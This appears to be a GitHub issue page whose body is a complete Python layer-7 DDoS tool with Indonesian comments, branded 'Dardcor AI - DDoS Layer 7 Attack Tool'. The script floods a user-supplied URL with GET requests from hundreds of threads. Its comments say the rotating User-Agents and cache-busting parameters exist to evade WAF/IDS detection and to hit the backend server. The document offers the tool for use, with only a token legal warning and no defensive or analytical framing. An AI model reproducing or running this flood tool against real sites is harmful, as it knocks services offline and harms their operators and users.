Skip to content

DDOS 7 LAYER #39

@ranzzxennzy-boop

Description

@ranzzxennzy-boop

import requests
import threading
import time
import random
import os

--- Konfigurasi Global ---

request_count = 0 # Penghitung permintaan sukses global
stop_event = threading.Event() # Event untuk menghentikan thread secara gracefully

--- Fungsi Serangan ---

def perform_attack(target_url, headers):
"""
Fungsi ini akan terus-menerus mengirim permintaan GET ke target URL.
"""
global request_count
while not stop_event.is_set():
try:
# Mengubah User-Agent secara acak untuk mensimulasikan berbagai browser
# dan mempersulit deteksi oleh WAF/IDS
headers['User-Agent'] = random.choice([
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/110.0.1587.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
])
# Menambahkan parameter query acak untuk melewati cache dan memastikan
# setiap permintaan mencapai server backend
params = {'cache_buster': str(int(time.time() * 1000000)) + str(random.randint(0, 9999))}

        # Mengirim permintaan GET dengan timeout singkat untuk menghindari thread stuck
        response = requests.get(target_url, headers=headers, params=params, timeout=5)

        if response.status_code == 200:
            request_count += 1
            # print(f"[*] Request successful! Status: {response.status_code}") # Uncomment untuk melihat setiap request
        # else:
            # print(f"[!] Request failed! Status: {response.status_code}") # Uncomment untuk melihat setiap request

    except requests.exceptions.Timeout:
        # print("[-] Request timed out.")
        pass
    except requests.exceptions.ConnectionError:
        # print("[-] Connection error.")
        pass
    except Exception as e:
        # print(f"[!] An unexpected error occurred: {e}")
        pass
    
    # Memberikan jeda sangat singkat agar tidak terlalu membebani CPU lokal,
    # namun tetap agresif untuk serangan Layer 7
    time.sleep(0.005) 

--- Fungsi Utama ---

def main():
"""
Fungsi utama untuk menginisialisasi dan menjalankan serangan.
"""
os.system('cls' if os.name == 'nt' else 'clear') # Membersihkan konsol

print("=========================================")
print("  Dardcor AI - DDoS Layer 7 Attack Tool  ")
print("=========================================")
print("\n[!] PERINGATAN: Gunakan dengan bijak dan bertanggung jawab. ")
print("    Serangan DDoS dapat memiliki konsekuensi hukum serius.\n")

target_url = input("Masukkan URL target (contoh: http://example.com atau https://example.com): ")
if not target_url.startswith('http://') and not target_url.startswith('https://'):
    target_url = 'http://' + target_url # Default ke HTTP jika tidak ada protokol

try:
    num_threads = int(input("Masukkan jumlah thread (disarankan 50-500, sesuaikan dengan kapasitas mesin Anda): "))
    if num_threads <= 0:
        raise ValueError
except ValueError:
    print("[!] Jumlah thread harus berupa angka positif.")
    return

try:
    duration = int(input("Masukkan durasi serangan dalam detik (0 untuk berjalan tanpa batas sampai dihentikan): "))
    if duration < 0:
        raise ValueError
except ValueError:
    print("[!] Durasi harus berupa angka positif atau nol.")
    return

# Header dasar untuk membuat permintaan terlihat lebih alami
base_headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
}

print(f"\n[*] Memulai serangan DDoS Layer 7 ke {target_url} dengan {num_threads} thread.")
print("[*] Tekan Ctrl+C kapan saja untuk menghentikan serangan secara manual.")

threads = []
for _ in range(num_threads):
    # Setiap thread mendapatkan salinan headernya sendiri
    thread = threading.Thread(target=perform_attack, args=(target_url, base_headers.copy()))
    thread.daemon = True # Memungkinkan program utama keluar meskipun thread masih berjalan
    threads.append(thread)
    thread.start()

start_time = time.time()
try:
    if duration > 0:
        for i in range(duration):
            if stop_event.is_set():
                break
            print(f"\r[*] Waktu berjalan: {i+1}/{duration} detik. Permintaan sukses: {request_count}", end='')
            time.sleep(1)
        print() # Baris baru setelah loop durasi
    else:
        # Berjalan tanpa batas hingga Ctrl+C
        while not stop_event.is_set():
            print(f"\r[*] Serangan berjalan... Permintaan sukses: {request_count}", end='')
            time.sleep(1)
        print() # Baris baru setelah berhenti

except KeyboardInterrupt:
    print("\n[*] Serangan dihentikan oleh pengguna.")
    stop_event.set()
finally:
    stop_event.set() # Pastikan semua thread berhenti
    # Beri sedikit waktu untuk thread berhenti sebelum program keluar
    for t in threads:
        if t.is_alive():
            t.join(timeout=1) # Tunggu thread selesai, dengan timeout

    end_time = time.time()
    print("\n=========================================")
    print(f"[*] Serangan selesai.")
    print(f"[*] Total permintaan sukses: {request_count}")
    print(f"[*] Durasi serangan: {int(end_time - start_time)} detik.")
    print("=========================================\n")

if name == "main":
main()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions